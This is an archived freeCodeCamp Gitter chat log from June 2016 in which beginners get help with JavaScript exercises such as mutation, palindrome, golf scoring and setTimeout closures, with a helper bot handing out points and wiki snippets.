15th
Jun 2016
Dan
@dcgoings
Jun 15 2016 00:00 UTC
kinda stumped here on the mutations challenge. i only have one test returning true when it should be false (out of the 9 tests given). can anyone identify the issue?
function mutation(arr) {

for (var i = 0; i < arr[0].length; i++) {
return (arr[0].toLowerCase().indexOf(arr[1][i].toLowerCase()) !== -1);
}
}

mutation(["hello", "hey"]);
Diego Mayer
@Chrono79
Jun 15 2016 00:00 UTC
@DragonOsman no, I meant inside the curly braces
btw you can't use dot notation with a var like this: collection[id].prop
David Halls
@DavidHalls
Jun 15 2016 00:01 UTC
help validate US telephone
CamperBot
@camperbot
Jun 15 2016 00:01 UTC

# Algorithm Validate US Telephone Numbers

### Problem Explanation:

• The task is not that hard to understand, implementing it is the hardest part. You have a to validate an US phone number. This means there is a certain amount of numbers required, while you don't need to put the country code, you will still need the area code and use one of the few formats allowed.
:pencil: read more about algorithm validate us telephone numbers on the FCC Wiki
Diego Mayer
@Chrono79
Jun 15 2016 00:03 UTC
@dcgoings that is only looking for the first char of the "needle" in the "haystack"
When you use a loop (unless you have a good reason to not do it) you would want it to loop
return breaks the loop
Dan
@dcgoings
Jun 15 2016 00:03 UTC
you sure? i have eight other tests that pass fine..
arr[1][i] should be looping?
Diego Mayer
@Chrono79
Jun 15 2016 00:04 UTC
that's because of the test cases setup
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:04 UTC
12 more to go Basic Algorithm section
Dan
@dcgoings
Jun 15 2016 00:05 UTC
hmm
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:06 UTC
@Chrono79 if i am struggling with the Basic how will i survive the imtermediate and advanced
Diego Mayer
@Chrono79
Jun 15 2016 00:06 UTC
@dcgoings look: https://repl.it/CThc/6
@Oluwasetemi with pain, like Kung Fu Panda
Moisés Man
@moigithub
Jun 15 2016 00:07 UTC
@Oluwasetemi once u finish all basic... redo all again
@Chrono79 lol
Dan
@dcgoings
Jun 15 2016 00:07 UTC
never been to that site before, what am i looking at? i understand that it's returning true, i get that part. i don't see how.
oh nvm
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:07 UTC
@Chrono79 :fire:
Dan
@dcgoings
Jun 15 2016 00:07 UTC
return breaks, you said that
hmm
Osman Zakir
@DragonOsman
Jun 15 2016 00:07 UTC
@Chrono79 : so I put "collection[id]" inside that if condition's curly braces, and put the "artist" property inside the array, then set it the value to "ABBA"? How do I do that, though?
Diego Mayer
@Chrono79
Jun 15 2016 00:07 UTC
because it's only comparing the first letter as I said
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:07 UTC
@moigithub why? if i may ask?
Dan
@dcgoings
Jun 15 2016 00:07 UTC
okay so kill the return.
channsin
@channsin
Jun 15 2016 00:08 UTC
CamperBot
@camperbot
Jun 15 2016 00:08 UTC
channsin sends brownie points to @khaduch :sparkles: :thumbsup: :sparkles:
Diego Mayer
@Chrono79
Jun 15 2016 00:08 UTC
@dcgoings return false or true (not in the same place) for certain conditions
return inside a loop, should be inside an if or something else that makes the return under certain condition
Moisés Man
@moigithub
Jun 15 2016 00:08 UTC
to test ur self.... u said u struggling with basic.. but already gonna finish.. soo.. next time u redo.. should be easier... @Oluwasetemi
Gustavo Godoy
@imgustavo
Jun 15 2016 00:09 UTC
Hi
Ojo Oluwasetemi
@Oluwasetemi
Jun 15 2016 00:10 UTC
@moigithub ok
Hello @imgustavo
Diego Mayer
@Chrono79
Jun 15 2016 00:11 UTC
@DragonOsman i'll give you the right code for the first case and you figure out the rest, check the challenges I've posted before so you know what you should be doing
  if (value !== "") {
if (prop != "tracks") {
collection[id][prop] = value; //If value is non-blank (value !== "") and prop is not "tracks" then update or set the value for the prop.
} else {
Iskya
@iskya
Jun 15 2016 00:11 UTC
why the target blank doesnt work here?
$("#output").prepend("<li class='col-xs-8 col-xs-offset-2'><a href="+data[3][i]+" target="_blank" >"+data[1][i]+"</a><p>"+data[2][i]+"</p></li>");} Stephen James @sjames1958gm Jun 15 2016 00:12 UTC @iskya I think that your quotes are mixed up - you need quotes around _blank, but you are using the same one for your string. Gustavo Godoy @imgustavo Jun 15 2016 00:12 UTC @Oluwasetemi :smile: Moisés Man @moigithub Jun 15 2016 00:12 UTC @iskya escape ur _blank quotes or use single quotes Osman Zakir @DragonOsman Jun 15 2016 00:13 UTC @Chrono79 : thanks. The challenges you mentioned before were which ones, again? CamperBot @camperbot Jun 15 2016 00:13 UTC dragonosman sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :star2: 1164 | @chrono79 |http://www.freecodecamp.com/chrono79 Iskya @iskya Jun 15 2016 00:13 UTC @sjames1958gm @moigithub thanks CamperBot @camperbot Jun 15 2016 00:13 UTC iskya sends brownie points to @sjames1958gm and @moigithub :sparkles: :thumbsup: :sparkles: :star2: 1561 | @sjames1958gm |http://www.freecodecamp.com/sjames1958gm :star2: 1441 | @moigithub |http://www.freecodecamp.com/moigithub Diego Mayer @Chrono79 Jun 15 2016 00:14 UTC :point_up: 14 de junio de 2016 20:02 <- these @DragonOsman Dan @dcgoings Jun 15 2016 00:17 UTC @Chrono79 im still not sure what im missing here.. function mutation(arr) { for (var i = 0; i < arr[1].length; i++) { if (arr[0].toLowerCase().indexOf(arr[1][i].toLowerCase()) !== -1) { return true; } else return false; } } mutation(["hello", "hey"]); Diego Mayer @Chrono79 Jun 15 2016 00:18 UTC @dcgoings change !== -1 to === -1, think what that means Dan @dcgoings Jun 15 2016 00:18 UTC now the first passed and the other eight failed lol Diego Mayer @Chrono79 Jun 15 2016 00:19 UTC that's why I told you it was the test setup that made your 8/9 right Ken Haduch @khaduch Jun 15 2016 00:19 UTC @channsin - you're welcome Dan @dcgoings Jun 15 2016 00:19 UTC hmm Osman Zakir @DragonOsman Jun 15 2016 00:19 UTC @Chrono79 : I put in collection[id][prop] = value;' as is? andreas2249 @andreas2249 Jun 15 2016 00:19 UTC Stumped here. First block of code replaces text fine. When doing same in a loop to target multiple blocks, doesn't work. ''' var i = 2; setTimeout(function() { document.getElementById("section-" + i).innerHTML = "Swap out text..."; }, i * 1000); window.onload = function() { for (i = 1; i <= 6; i++) { setTimeout(function() { document.getElementById("section-" + i).innerHTML = "Swap out text..."; }, i * 1000); } } ''' Any help is appreciated. Thanks in advance. :) CamperBot @camperbot Jun 15 2016 00:19 UTC :bulb: to format code use backticks!  more info Dan @dcgoings Jun 15 2016 00:19 UTC well if that's the case, i dont understand why my function doesnt satisfy the condition. Diego Mayer @Chrono79 Jun 15 2016 00:20 UTC @dcgoings you don't have to return both true and false inside your loop Stephen James @sjames1958gm Jun 15 2016 00:20 UTC @andreas2249 Basically your i variable is shared across all the functions defined in your setTimeout and the value of i when they run is 7 Lennon Turner @stoppable408 Jun 15 2016 00:21 UTC I need some assistance. I'm stuck on "Title case a sentence" and my code is producing the correct response, it's just not passing the tests Dan @dcgoings Jun 15 2016 00:21 UTC understood.. but that means my test is still wrong then, right? Lennon Turner @stoppable408 Jun 15 2016 00:21 UTC function titleCase(str) { str = str.toLowerCase().split(" "); var length = str.length; var string = ""; for(var i = 0; i < length; i++){ var word = str[i].split(''); word[0] = word[0].toUpperCase(); word = word.join(''); string += word + " "; } return string; } Ken Haduch @khaduch Jun 15 2016 00:21 UTC @andreas2249 - the for loop runs through quickly and sets up all of the setTimeout function calls, by the time they execute, they are looking at the value of i equal to seven - so this case is broken. You can read about it in this article - the third item: http://javascriptissexy.com/understand-javascript-closures-with-ease/ Diego Mayer @Chrono79 Jun 15 2016 00:21 UTC if you didn't fixed it, yes, your test is almost right Stephen James @sjames1958gm Jun 15 2016 00:22 UTC @stoppable408 There is likely an extra blank at the end which you cannot see but the testing can. Lennon Turner @stoppable408 Jun 15 2016 00:22 UTC oh. yes. that's it. I know where it is andreas2249 @andreas2249 Jun 15 2016 00:22 UTC Thank you @sjames1958gm for your prompt reply. I'll go read that now. :) CamperBot @camperbot Jun 15 2016 00:22 UTC andreas2249 sends brownie points to @sjames1958gm :sparkles: :thumbsup: :sparkles: :star2: 1562 | @sjames1958gm |http://www.freecodecamp.com/sjames1958gm andreas2249 @andreas2249 Jun 15 2016 00:23 UTC Thank you @khaduch for your prompt reply and link. I thought the window.onload function would cure that... Gonna read what you sent. Thanks again. :) CamperBot @camperbot Jun 15 2016 00:23 UTC andreas2249 sends brownie points to @khaduch :sparkles: :thumbsup: :sparkles: :star2: 1322 | @khaduch |http://www.freecodecamp.com/khaduch Osman Zakir @DragonOsman Jun 15 2016 00:24 UTC how much right or wrong is this: else if (prop == "tracks" && value !== "") { collection[id][prop].push(value); } Diego Mayer @Chrono79 Jun 15 2016 00:25 UTC @dcgoings let's put our thoughts in words, shall we? We need to check if every letter in the second word is in the first one, so we can use a loop to go through each letter and get indexOf of that letter -1 means it's not there, so we don't need to check the rest to say not all letters are there don't we? @DragonOsman that's almost right, you need to check if the property exist (and if it doesn't, create it as an array) before using push Dan @dcgoings Jun 15 2016 00:25 UTC correct, and understood. nvm i just added a count @Chrono79 did i miss anything or do anything wrong or inefficient here? function mutation(arr) { var count = 0; for (var i = 0; i < arr[1].length; i++) { if (arr[0].toLowerCase().indexOf(arr[1][i].toLowerCase()) !== -1) { count += 1; } } return (count === arr[1].length); } Diego Mayer @Chrono79 Jun 15 2016 00:28 UTC That works too, do you remember the challenge return early? That's the other way of doing it somehow Stephen James @sjames1958gm Jun 15 2016 00:28 UTC @dcgoings You could return false immediately on === -1 and then return true when finished with your loop Dan @dcgoings Jun 15 2016 00:28 UTC hmm, i dont recall. @sjames1958gm let me try it out Diego Mayer @Chrono79 Jun 15 2016 00:29 UTC I was going there but somehow lost him in the process @sjames1958gm Dan @dcgoings Jun 15 2016 00:29 UTC oh hey, that works. haha im sorry! i see where you were going now. Stephen James @sjames1958gm Jun 15 2016 00:29 UTC @Chrono79 Sry for stepping in. Dan @dcgoings Jun 15 2016 00:29 UTC i think the link to the indexOf() documentation had me focusing in on !== -1 that's why i tried going with that and stuck with it. === -1 definitely makes sense to return false immediately thanks @Chrono79 @sjames1958gm CamperBot @camperbot Jun 15 2016 00:30 UTC dcgoings sends brownie points to @chrono79 and @sjames1958gm :sparkles: :thumbsup: :sparkles: :star2: 1563 | @sjames1958gm |http://www.freecodecamp.com/sjames1958gm :star2: 1165 | @chrono79 |http://www.freecodecamp.com/chrono79 Diego Mayer @Chrono79 Jun 15 2016 00:30 UTC no problem @sjames1958gm sometimes when another person says almost the same that you, they understand magically like you were talking in chinese :P Dan @dcgoings Jun 15 2016 00:30 UTC hahaha Stephen James @sjames1958gm Jun 15 2016 00:30 UTC @Chrono79 :+1: lol Diego Mayer @Chrono79 Jun 15 2016 00:31 UTC It's all good in the end silver537 @silver537 Jun 15 2016 00:32 UTC uh oh this cipher challenge seem difficult Ojo Oluwasetemi @Oluwasetemi Jun 15 2016 00:33 UTC @Chrono79 how can i compare the length of string values in an array Jack Stone @Jackstone92 Jun 15 2016 00:33 UTC function golfScore(par, strokes) { if (strokes == 1) { return "Hole-in-one!"; } else if (strokes <= par - 2) { return "Eagle"; } else if (strokes == par - 1) { return "Birdie"; } else if (strokes == par) { return "par"; } else if (strokes == par + 1) { return "Bogey"; } else if (strokes == par + 2) { return "Double Bogey"; } else { return "Go Home!"; } return "Change Me"; // Only change code above this line } // Change these values to test golfScore(4, 4); Can anyone tell me what I've done wrong in the golf code lesson? I tested the values (4, 4) and (5, 5) and they both return 'par' however, there seems to be something wrong? sorry I'm quite new to JavaScript Diego Mayer @Chrono79 Jun 15 2016 00:33 UTC several ways come to mind @Oluwasetemi the simplest a for loop and a var to store the max Coy Sanders @coymeetsworld Jun 15 2016 00:34 UTC @Jackstone92 par should be capitalized in the String you're returning silver537 @silver537 Jun 15 2016 00:35 UTC stupid case sensitive checker. -.- Ojo Oluwasetemi @Oluwasetemi Jun 15 2016 00:35 UTC This message was deleted Jack Stone @Jackstone92 Jun 15 2016 00:35 UTC @coymeetsworld lol I thought I did it correct! If it's not a missing ";" then it's case-sensitive! @coymeetsworld thanks CamperBot @camperbot Jun 15 2016 00:35 UTC jackstone92 sends brownie points to @coymeetsworld :sparkles: :thumbsup: :sparkles: :star2: 1145 | @coymeetsworld |http://www.freecodecamp.com/coymeetsworld Coy Sanders @coymeetsworld Jun 15 2016 00:36 UTC no problem @Jackstone92, attention to detail always important :) Jack Stone @Jackstone92 Jun 15 2016 00:36 UTC yep, no sleepwalking through the JavaScript sections! gonna go to sleep and carry on tomorrow when I'm more awake. Goodnight all! Wander @WanderBread Jun 15 2016 00:40 UTC hi everyone I'm having trouble with the celsius to fahrehneit challenge Ojo Oluwasetemi @Oluwasetemi Jun 15 2016 00:41 UTC @Chrono79 if(x[0].length >= x[1].length) { max = x[0].length } else { max = x[1].length} FM @mafelix Jun 15 2016 00:42 UTC I am here convert the formula into javascript Wander @WanderBread Jun 15 2016 00:43 UTC @mafelix thanks CamperBot @camperbot Jun 15 2016 00:43 UTC wanderbread sends brownie points to @mafelix :sparkles: :thumbsup: :sparkles: :cookie: 269 | @mafelix |http://www.freecodecamp.com/mafelix Eric @Code-Eric Jun 15 2016 00:45 UTC function repeatStringNumTimes(str, num) { // repeat after me for (var i = 0; i < num - 1; i ++ ) { if (i < num){ console.log(str); } } return str; } repeatStringNumTimes("abc", 3); FM @mafelix Jun 15 2016 00:45 UTC @Code-Eric that's not what right output they want you to do Diego Mayer @Chrono79 Jun 15 2016 00:46 UTC @Oluwasetemi if they're only 2 values you could use max = Math.max(x[0].length, x[1].length) If they're more, use a loop FM @mafelix Jun 15 2016 00:46 UTC @Code-Eric and console.log displays the string in your developer console. it wants you to return @Code-Eric this it the output it wants from the function call in your code. "abcabcabc" Eric @Code-Eric Jun 15 2016 00:47 UTC okay but when i do that it does not wrok Jim Dennis @JimDennis Jun 15 2016 00:47 UTC @Code-Eric You don't need an if (i<num) from within a for (var i=0; i<num... statement. That for loop already guarantees that particular condition. FM @mafelix Jun 15 2016 00:47 UTC @Code-Eric understand what output they want first then you can work towards it allon-z @allon-z Jun 15 2016 00:48 UTC I don't understand what I am doing wrong. I am trying to make it return the property if the object exists: var myObj = { gift: "pony", pet: "kitten", bed: "sleigh" }; function checkObj(checkProp) { // Your Code Here if (checkProp.hasOwnProperty(checkObj)){ return checkProp; } else { return "Not Found"; } } // Test your code by modifying these values checkObj("pet"); FM @mafelix Jun 15 2016 00:48 UTC @Code-Eric understanding the problem is a big part of coding. or you're coding shooting in the dark. Eric @Code-Eric Jun 15 2016 00:48 UTC but when I “return” doesn’t it end the for loop? FM @mafelix Jun 15 2016 00:49 UTC @Code-Eric indeed it does. @Code-Eric but look at the output they want first. Diego Mayer @Chrono79 Jun 15 2016 00:49 UTC @allon-z this: checkProp.hasOwnProperty(checkObj) your object is myObj, not checkProp FM @mafelix Jun 15 2016 00:49 UTC @Code-Eric they want a SINGLE string with the NUM of times of STR input Michael Guest @MichaelGuest Jun 15 2016 00:49 UTC What am I doing wrong in the palindrome bonfire? /* jshint esversion: 6 */ function palindrome(str) { let arrstr = str.split("").reverse("").join(""); if(arrstr === arrstr){ return true; } else { return false; } } palindrome("eye"); Eric @Code-Eric Jun 15 2016 00:49 UTC yes, i understand what youre staying saying** FM @mafelix Jun 15 2016 00:50 UTC @Code-Eric so what are your thoughts in doing this? allon-z @allon-z Jun 15 2016 00:50 UTC Thanks @Chrono79 ! CamperBot @camperbot Jun 15 2016 00:50 UTC allon-z sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :star2: 1166 | @chrono79 |http://www.freecodecamp.com/chrono79 Diego Mayer @Chrono79 Jun 15 2016 00:50 UTC @MichaelGuest 2 things if(arrstr === arrstr) <- this is always true and you're not cleaning the string to get rid of all that's not a number or a letter (use a regex and replace to do that) Michael Guest @MichaelGuest Jun 15 2016 00:51 UTC I tried arrstr === " " it gave me false lol Juan Cortes @jcortes0309 Jun 15 2016 00:51 UTC @MichaelGuest I agree with @Chrono79 You need to test it against str Eric @Code-Eric Jun 15 2016 00:51 UTC @mafelix perhaps make it an array Ojo Oluwasetemi @Oluwasetemi Jun 15 2016 00:51 UTC @MichaelGuest reverse() method should be empty. FM @mafelix Jun 15 2016 00:51 UTC @Code-Eric it's fine to say you don't know. as long as you actually put some effort into it @Code-Eric make the str into an array? ok and then what? Michael Guest @MichaelGuest Jun 15 2016 00:52 UTC @Oluwasetemi Why should it be empty? Diego Mayer @Chrono79 Jun 15 2016 00:52 UTC @Oluwasetemi technically true, but it doesn't matter what you write there see: https://repl.it/CThc/7 Ojo Oluwasetemi @Oluwasetemi Jun 15 2016 00:53 UTC @Chrono79 i can use the array.sort as well right? FM @mafelix Jun 15 2016 00:53 UTC @Code-Eric you want a hint? Eric @Code-Eric Jun 15 2016 00:53 UTC @mafelix make it print a new array for the amount i want, then concatate the arrays and then join them to a new string Michael Guest @MichaelGuest Jun 15 2016 00:53 UTC How do I do bonfires they are really hard to figure out any suggestions? Diego Mayer @Chrono79 Jun 15 2016 00:53 UTC @Oluwasetemi yes, you have to define a filter function to do that Eric @Code-Eric Jun 15 2016 00:53 UTC concatenate sorry ill take a hint @mafelix FM @mafelix Jun 15 2016 00:54 UTC @Code-Eric you're on the right track minus the array Ojo Oluwasetemi @Oluwasetemi Jun 15 2016 00:54 UTC @Chrono79 got that!! FM @mafelix Jun 15 2016 00:54 UTC @Code-Eric you can do it easier with string concatentation Eric @Code-Eric Jun 15 2016 00:54 UTC oh okay, so i just print a new array for the amount i want and then concatentation i mean new string Eden Coleman @nede36 Jun 15 2016 00:54 UTC Eric @Code-Eric Jun 15 2016 00:54 UTC sorry for all the mistypes FM @mafelix Jun 15 2016 00:54 UTC @Code-Eric what do you mean print a new array though? that makes no sense @Code-Eric you can do that if you want Eden Coleman @nede36 Jun 15 2016 00:55 UTC I am working on the golf game, what am I missing? All the commands work minus 2 FM @mafelix Jun 15 2016 00:55 UTC @Code-Eric let's do it the array way. I did it another way but your way still works @Code-Eric now you don't have to print the array at the straight. what I would do is instantiate an empty array first off. Diego Mayer @Chrono79 Jun 15 2016 00:55 UTC @nede36 a ! after Hole-in-one and a last if condition FM @mafelix Jun 15 2016 00:56 UTC @Code-Eric then push the str num times into that empty array @Code-Eric you get where I'm going with this? Eric @Code-Eric Jun 15 2016 00:56 UTC @mafelix Okay. I see what youre saying. Eden Coleman @nede36 Jun 15 2016 00:56 UTC Fuck @Chrono79 thanks man, the little shit always slips my mind I always think it's something bigger than a minor typo.. CamperBot @camperbot Jun 15 2016 00:56 UTC nede36 sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :star2: 1167 | @chrono79 |http://www.freecodecamp.com/chrono79 Eric @Code-Eric Jun 15 2016 00:56 UTC @mafelix thank you for walking me through it CamperBot @camperbot Jun 15 2016 00:56 UTC code-eric sends brownie points to @mafelix :sparkles: :thumbsup: :sparkles: :cookie: 270 | @mafelix |http://www.freecodecamp.com/mafelix Norvin Burrus @ndburrus Jun 15 2016 00:57 UTC @nede36 ...where is the ! ? here: "Hole-in-one"; :) William Fish @williamlfish Jun 15 2016 00:57 UTC  Michael Guest @MichaelGuest Jun 15 2016 00:57 UTC @jcortes0309 How do I test against str? FM @mafelix Jun 15 2016 00:58 UTC @Code-Eric npnp. way to come up with the solution. Eden Coleman @nede36 Jun 15 2016 00:58 UTC @ndburrus I think I can figure that one out now ;) William Fish @williamlfish Jun 15 2016 00:58 UTC hey there, anyone understand why this wont work? for the mutations one.. function mutation(arr) { var ele0 = arr[0].toLowerCase(); var ele1 = arr[1].toLowerCase(); for(var i=0; i<ele0.length ;i++){ if(ele0.indexOf(ele1[i]) === -1){ console.log(ele0.indexOf(ele1[i])); return false; } return true; } } mutation(["hello", "hey"]); it passes all but the first?!? Diego Mayer @Chrono79 Jun 15 2016 00:59 UTC @williamlfish why both returns inside the loop? It won't really loop that way Juan Cortes @jcortes0309 Jun 15 2016 00:59 UTC @MichaelGuest you should be able to just do  if(str === arrstr){ return true; } William Fish @williamlfish Jun 15 2016 00:59 UTC ha!!!! thanks @Chrono79 CamperBot @camperbot Jun 15 2016 00:59 UTC williamlfish sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :star2: 1168 | @chrono79 |http://www.freecodecamp.com/chrono79 Juan Cortes @jcortes0309 Jun 15 2016 01:01 UTC @MichaelGuest did that work for you? Michael Guest @MichaelGuest Jun 15 2016 01:02 UTC @jcortes0309 Thanks! Thats works sort of but not for the strings that have spaces? CamperBot @camperbot Jun 15 2016 01:02 UTC michaelguest sends brownie points to @jcortes0309 :sparkles: :thumbsup: :sparkles: :cookie: 255 | @jcortes0309 |http://www.freecodecamp.com/jcortes0309 Diego Mayer @Chrono79 Jun 15 2016 01:02 UTC @jcortes0309 @MichaelGuest that's because you have to get rid of all that's not an alphanumeric char as I said before Norvin Burrus @ndburrus Jun 15 2016 01:02 UTC @nede36 i was too late... :-1: :) Michael Guest @MichaelGuest Jun 15 2016 01:03 UTC @Chrono79 Sweet! I'll get back to you when I figure out how to do that. Juan Cortes @jcortes0309 Jun 15 2016 01:04 UTC @MichaelGuest @Chrono79 is right. Can you share your solution again to take a look at how you are trying to get rid of the non alphanumeric characters? Diego Mayer @Chrono79 Jun 15 2016 01:04 UTC he wasn't Michael Guest @MichaelGuest Jun 15 2016 01:04 UTC /* jshint esversion: 6 */ function palindrome(str) { let arrstr = str.split("").reverse().join(""); if(str === arrstr){ return true; } else { return false; } } palindrome("eye"); I haven't implemented it yet Juan Cortes @jcortes0309 Jun 15 2016 01:04 UTC @MichaelGuest Oh yes, that's right. There's no code there to do that Diego Mayer @Chrono79 Jun 15 2016 01:05 UTC hint replace and regex CamperBot @camperbot Jun 15 2016 01:05 UTC :construction: Spoilers are only in the Bonfire's Custom Room :point_right: Michael Guest @MichaelGuest Jun 15 2016 01:06 UTC Is there any place I can learn regex because it is really confusing? Maria Alejandra @MariaTaborda Jun 15 2016 01:06 UTC @MichaelGuest I saq Diego Mayer @Chrono79 Jun 15 2016 01:06 UTC help regex CamperBot @camperbot Jun 15 2016 01:06 UTC ## :point_right: js regex resources [wiki] # Regular Expressions Resources Links to useful RegEx resources. See also: :clipboard: Tutorials | :syringe: Testing | :soccer: Games | :newspaper: Blogs | :package: Software Maria Alejandra @MariaTaborda Jun 15 2016 01:06 UTC Saw a tutorial video by Derek Banas Michael Guest @MichaelGuest Jun 15 2016 01:07 UTC @MariaTaborda @Chrono79 thanks! CamperBot @camperbot Jun 15 2016 01:07 UTC michaelguest sends brownie points to @mariataborda and @chrono79 :sparkles: :thumbsup: :sparkles: :cookie: 331 | @mariataborda |http://www.freecodecamp.com/mariataborda :star2: 1169 | @chrono79 |http://www.freecodecamp.com/chrono79 Dennis Niemeijer @daniemeijer Jun 15 2016 01:07 UTC help code CamperBot @camperbot Jun 15 2016 01:07 UTC ## :point_right: challenge comment your javascript code [wiki] # Challenge Comment your JavaScript Code Comments are a great way to leave notes to yourself and to other people who will later need to figure out what it does. Any code in it will be ignored. Let's take a look at the two ways you can write comments in JavaScript. • The double-slash comment will comment out the remainder of the text on the current line: // This is a comment. • The slash-star-star-slash comment will comment out everything between the /* and the */ characters: /* This is also a comment */ Maria Alejandra @MariaTaborda Jun 15 2016 01:07 UTC @MichaelGuest Dennis Niemeijer @daniemeijer Jun 15 2016 01:07 UTC help script CamperBot @camperbot Jun 15 2016 01:07 UTC ## :point_right: challenge add new properties to a javascript object [wiki] # Add New Properties to a JavaScript Object You can add new properties to existing JavaScript objects the same way you would modify them. Here is how: myDog.bark = "woof-woof"; Dennis Niemeijer @daniemeijer Jun 15 2016 01:08 UTC help/// CamperBot @camperbot Jun 15 2016 01:08 UTC # CamperBot Hi, I'm CamperBot! I can help you in this chatroom :smile: ### Basic Commands: • find TOPIC find all entries about topic. e.g. find js • wiki TOPIC show contents of topic page • thanks @username send brownie points to another user • about @username shows info on that user • Algorithm BONFIRENAME info on a Algorithm meet CamperBot in Maria Alejandra @MariaTaborda Jun 15 2016 01:08 UTC Michael Guest @MichaelGuest Jun 15 2016 01:09 UTC @MariaTaborda Sweet! I'll check it out Maria Alejandra @MariaTaborda Jun 15 2016 01:09 UTC Yea I was soooo freaking confused with it Michael Guest @MichaelGuest Jun 15 2016 01:10 UTC lol Dennis Niemeijer @daniemeijer Jun 15 2016 01:10 UTC function whereAreYou(collection, source) { // What's in a name? var arr = []; // Only change code below this line var key = Object.keys(source); //check if the value of the  // Only change code above this line return source[key]; } whereAreYou([{ first: "Romeo", last: "Montague" }, { first: "Mercutio", last: null }, { first: "Tybalt", last: "Capulet" }], { last: "Capulet" }); Maria Alejandra @MariaTaborda Jun 15 2016 01:11 UTC And the video was like 💡💡💡 Michael Guest @MichaelGuest Jun 15 2016 01:11 UTC Nice!! Coy Sanders @coymeetsworld Jun 15 2016 01:19 UTC @MichaelGuest this is a longer video but I thought it was well done for regex if you have time to watch it https://www.youtube.com/watch?v=EkluES9Rvak Michael Guest @MichaelGuest Jun 15 2016 01:21 UTC @coymeetsworld Thanks! Ill check that out also. CamperBot @camperbot Jun 15 2016 01:21 UTC michaelguest sends brownie points to @coymeetsworld :sparkles: :thumbsup: :sparkles: :star2: 1146 | @coymeetsworld |http://www.freecodecamp.com/coymeetsworld Dennis Niemeijer @daniemeijer Jun 15 2016 01:23 UTC  var key = Object.keys(source); //check if the value of the  // Only change code above this line return source[key]; can anyone tell me why I need brackets around key to return the value of a property? I'm lost how can i post code? Coy Sanders @coymeetsworld Jun 15 2016 01:23 UTC backticks need to be on their own lines Dennis Niemeijer @daniemeijer Jun 15 2016 01:24 UTC  var key = Object.keys(source); //check if the value of the // Only change code above this line return source[key]; I'm lost here! I'm trying to understand why I need brackets around key to make to get what I expect to get. Diego Mayer @Chrono79 Jun 15 2016 01:26 UTC @daniemeijer key is a var, so [key] is like ["key_value_string"] you can't use dot notation with a var Greg Munker @Gmunker Jun 15 2016 01:26 UTC Hello everyone, i'm currently working on my twitch app and i have figured it out mostly, it all works except for the way i'm parsing the users to html. I'm appending and with keyup it's creating multiple versions of the same user if you type to quick. I'm hoping there is an easy fix and i'm simply just overlooking it. http://codepen.io/Gmunker/pen/KMVLaj?editors=0110 thanks in advance! and it is NOT mobile friendly Yet. :P Dennis Niemeijer @daniemeijer Jun 15 2016 01:27 UTC @Chrono79 I need to read back on that, but thanks for pointing me in the right direction. CamperBot @camperbot Jun 15 2016 01:27 UTC daniemeijer sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :star2: 1170 | @chrono79 |http://www.freecodecamp.com/chrono79 andreas2249 @andreas2249 Jun 15 2016 01:30 UTC Got some great answers to a closure issue I posted early -- but the concepts are way over my head. I've given this a couple of hours with no luck. Am too much of a noob to comprehend it... How do I make this loop iterate without failing, please?  for (i = 1; i <= 6; i++) { setTimeout(function() { document.getElementById("section-" + i).innerHTML = "Swap out text (" + i + ")"; }, i * 1000); } Thanks in advance. :) Eden Coleman @nede36 Jun 15 2016 01:32 UTC I am learning about switch statements, the code runs fine. Just wanna make sure this is the proper way Michael Guest @MichaelGuest Jun 15 2016 01:32 UTC So I know for my solution I need the letter s for regex which removes my spaces would I also say 0-9 and a-z? to remove punctuation spaces and symbols? Diego Mayer @Chrono79 Jun 15 2016 01:35 UTC it depends on the modifiers you use @MichaelGuest Dylan @dhcodes Jun 15 2016 01:35 UTC @nede36 shouldn't need return and break Eden Coleman @nede36 Jun 15 2016 01:35 UTC So just leave out the return? @dhcodes Dylan @dhcodes Jun 15 2016 01:36 UTC yeah Diego Mayer @Chrono79 Jun 15 2016 01:36 UTC @nede36 no, you need to use answer Michael Guest @MichaelGuest Jun 15 2016 01:36 UTC @Chrono79 are modifiers + * - etc? Dylan @dhcodes Jun 15 2016 01:37 UTC @nede36 let me go look at mine to confirm Diego Mayer @Chrono79 Jun 15 2016 01:37 UTC @MichaelGuest no, the letters after the / i.e. g m i Dylan @dhcodes Jun 15 2016 01:37 UTC @nede36 so you need to make answer = something Michael Guest @MichaelGuest Jun 15 2016 01:37 UTC I see Dylan @dhcodes Jun 15 2016 01:37 UTC since that is your switch Eden Coleman @nede36 Jun 15 2016 01:37 UTC Okay thanks @dhcodes I would appreciate it. Just wanna make sure I am interpreting Switch statements properly CamperBot @camperbot Jun 15 2016 01:37 UTC nede36 sends brownie points to @dhcodes :sparkles: :thumbsup: :sparkles: :star2: 1022 | @dhcodes |http://www.freecodecamp.com/dhcodes Dylan @dhcodes Jun 15 2016 01:37 UTC like this @nede36 case 1: answer = "alpha"; break; etc. Diego Mayer @Chrono79 Jun 15 2016 01:38 UTC @nede36 instead of returning in your cases use answer, like @dhcodes wrote up here Eden Coleman @nede36 Jun 15 2016 01:39 UTC Thanks @Chrono79 and @dhcodes for the help! I understand them now CamperBot @camperbot Jun 15 2016 01:39 UTC nede36 sends brownie points to @chrono79 and @dhcodes :sparkles: :thumbsup: :sparkles: :warning: nede36 already gave chrono79 points :warning: nede36 already gave dhcodes points Michael Guest @MichaelGuest Jun 15 2016 01:39 UTC @jcortes0309 Thanks! CamperBot @camperbot Jun 15 2016 01:39 UTC michaelguest sends brownie points to @jcortes0309 :sparkles: :thumbsup: :sparkles: :warning: michaelguest already gave jcortes0309 points George Green @george-fg Jun 15 2016 01:39 UTC Hey guys, does anyone know how to complete the word blanks task? I don't understand what I supposed to do. function wordBlanks(myNoun, myAdjective, myVerb, myAdverb) { var result = ""; // Your code below this line // Your code above this line return result; } // Change the words here to test your function wordBlanks("dog", "big", "ran", "quickly"); Dylan @dhcodes Jun 15 2016 01:40 UTC @george-fg you add the variables together Diego Mayer @Chrono79 Jun 15 2016 01:40 UTC did you read mad libs link? @george-fg check this challenge too: https://www.freecodecamp.com/challenges/constructing-strings-with-variables Dylan @dhcodes Jun 15 2016 01:40 UTC to make a sentence and add some strings in there too @george-fg 